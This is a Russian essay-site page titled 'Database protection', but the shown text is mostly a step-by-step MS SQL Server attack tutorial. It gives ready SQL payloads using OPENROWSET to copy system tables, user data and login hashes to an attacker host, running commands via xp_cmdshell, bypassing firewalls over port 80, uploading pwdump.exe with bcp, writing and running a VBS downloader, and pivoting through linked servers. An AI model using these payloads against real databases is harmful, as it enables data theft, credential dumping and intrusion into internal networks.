Защита баз данных

Автор работы: Пользователь скрыл имя, 02 Октября 2009 в 19:14, Не определен

Описание работы

В реферате содержится информация о современных методах защиты баз данных.

Файлы: 1 файл

ЯП.docx

— 217.65 Кб (Скачать файл)

       insert into  

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',  

             'select * from _sysdatabases')   

       select * from master.dbo.sysdatabases  

         

       insert into  

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',  

             'select * from _sysobjects')   

       select * from user_database.dbo.sysobjects  

         

       insert into  

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',  

             'select * from _syscolumns')   

       select * from user_database.dbo.syscolumns   
 

       После воссоздания таблиц в базе данных, загрузка необходимых данных из SQL сервера  тривиальна.   

       insert into   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',  

             'select * from table1')   

       select * from database..table1  

         

       insert into  

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',  

             'select * from table2')   

       select * from database..table2   
 

       Используя этот метод, атакующий может извлекать  содержимое из таблиц, даже если приложение скрывает сообщения об ошибках или  результаты неверных запросов.

       Получив соответствующие привилегии, атакующий  сможет загрузить список логинов  и паролей:   

       insert into  

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',  

             'select * from _sysxlogins')   

       select * from database.dbo.sysxlogins   
 

       Получение хэшей паролей даёт возможность  атакующему использовать brute-force атаку  для подбора паролей.

       Атакующий также сможет выполнять команды  на атакованном сервере и получать результаты их выполнения:   

       insert into  

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',  

             'select * from temp_table')   

       exec master.dbo.xp_cmdshell 'dir'   
 

       Если  брандмауэр сконфигурирован блокировать  все исходящие соединения SQL сервера, атакующий может использовать один из нескольких методов для обхода брандмауэра. Атакующий может использовать при передаче данных 80-й порт предназначенный  для HTTP соединения. Ниже приведен пример этой техники:   

       insert into   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',  

             'select * from table1')   

       select * from table1   
 

       Если  исходящее соединение на 80-й порт блокируется брандмауэром, то атакующий  может попытаться использовать другие номера портов до тех пор, пока не отыщет незаблокированный.

       Повышение привилегий

       Часто администратор, следуя рекомендациям  безопасности, настраивает приложения для запуска от имени непривилегированного пользователя. Найдя уязвимость в  приложение, запущенном от непривилегированного пользователя атакующий пытается повысить привилегии и получить права администратора. Атакующий может использовать другие известные и неизвестные уязвимости, приводящие к повышению привилегий. Существует некоторое количество свежих уязвимостей обнаруженных в SQL сервере, если атакующий может выполнять  произвольные SQL запросы, то он сравнительно легко сможет поднять привилегии.

       Опубликованные  уведомления об уязвимостях доступны по адресам:

       http://www.appsecinc.com/cgi-bin/show_policy_list.pl?app_type=1&category=3 http://www.appsecinc.com/resources/alerts/mssql/

       Загрузка  файлов

       Как только атакующий получил необходимые  привилегии SQL сервера, он возможно захочет  загрузить на сервер бинарный файл. Поскольку это не может быть сделано  используя протокол такой как SMB, порты 137-139 обычно заблокированы брандмауэром, атакующему нужен другой метод для  помещения бинарного файла в  файловую систему жертвы. Это может  быть сделано посредствам загрузки двоичного файла в локальную  таблицу на хосте атакующего и  помещение файла на атакуемый  хосте используя соединение SQL сервера.

       Для реализации этого атакующий должен создать таблицу на локальном  сервере следующим образом.   

       create table AttackerTable (data  text)   
 

       Создав  таблицу для бинарного файла, загружаем его туда следующим  образом:   

       bulk insert AttackerTable   

             from 'pwdump.exe'   

             with (codepage='RAW')   
 

       Бинарный  файл может быть загружен на сервер-жертву с сервера атакующего при помощи следующего SQL запроса выполненного на сервере-жертве:   

       exec xp_cmdshell 'bcp "select * from AttackerTable" queryout  pwdump.exe -c - 

       Craw -Shackersip -Usa -Ph8ck3r'   
 

       Этот  запрос приведет к исходящему соединению с сервером атакующего и запишет  результат запроса в файл. В  этом случае, соединение происходит с  использованием протокола и порта  используемого по умолчанию, такое  соединение, вероятно, будет блокировано  брандмауэром. Для обхода брандмауэра, атакующий может попытаться использовать:   

       exec xp_regwrite  

       'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftMSSQLServerClientConnectTo','Hacke 

       rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'   
 

       и затем:   

       exec xp_cmdshell 'bcp "select * from AttackerTable" queryout  pwdump.exe -c - 

       Craw -SHackerSrvAlias -Usa -Ph8ck3r'   
 

       Первый SQL запрос конфигурирует соединение с сервером хакера для использования 80-го порта, второй SQL запрос соединяется  с сервером хакера, используя 80-й  порт, и закачивает бинарный файл.

       Другой  метод — хакер мог бы использовать скрипт Visual Basic (.vbs) или JavaScript (.js) поместив файл в файловую систему и запустив скрипт.

       Используя эту технику, скрипт будет подключаться к какому-нибудь серверу и скачивать  бинарный файл атакующего или копировать и запускать файл на сервере-жертве.   

       exec xp_cmdshell '"first script line" >> script.vbs'  

       exec xp_cmdshell '"second script line" >> script.vbs'          

       ...  

       exec xp_cmdshell '"last script line" >> script.vbs'  

         

       exec xp_cmdshell 'script.vbs' -->execute script to download binary  
 

       Проникновение во внутреннюю сеть

       Соединенные и удаленные серверы Microsoft SQL Server позволяют одному серверу прозрачно  взаимодействовать с другим удаленным  сервером баз данных. Соединенные  серверы позволяют выполнять  распределенные запросы и даже позволяют  управлять удаленными серверами  баз данных. Атакующий может воспользоваться  этими возможностями для доступа  во внутреннюю сеть.

       Атакующий должен начать со сбора информации хранящейся в системной таблице master.dbo.sysservers как продемонстрировано здесь:   

       insert into   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',  

             'select * from _sysservers')   

       select * from master.dbo.sysservers   
 

       Далее атакующий может запросить информацию с соединенного удаленного сервера.   

       insert into   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',  

             'select * from _sysservers')   

       select * from LinkedOrRemoteSrv1.master.dbo.sysservers  
 
 

       insert into   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',  

             'select * from _sysdatabases')   

       select * from LinkedOrRemoteSrv1.master.dbo.sysdatabases   
 

       ...и  т.д. 

       Если  сединенные и удаленные серверы  не сконфигурированы для доступа  к данным (не сконфигурированы для  выполнения произвольных запросов, разрешено  выполнение только хранимых процедур) атакующий может попытаться:   

       insert into   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',  

             'select * from _sysservers')  

       exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from  

       master.dbo.sysservers'  
 
 

       insert into   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',  

             'select * from _sysdatabases')   

       exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from  

       master.dbo.sysdatabases'   
 

       ...и т.д.

       Используя эту технику атакующий может  «прыгать» от одного сервера к  другому проникая глубже во внутреннюю сеть через связанные и удаленные  серверы:   

       insert into   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',  

             'select * from _sysservers')   

Информация о работе Защита баз данных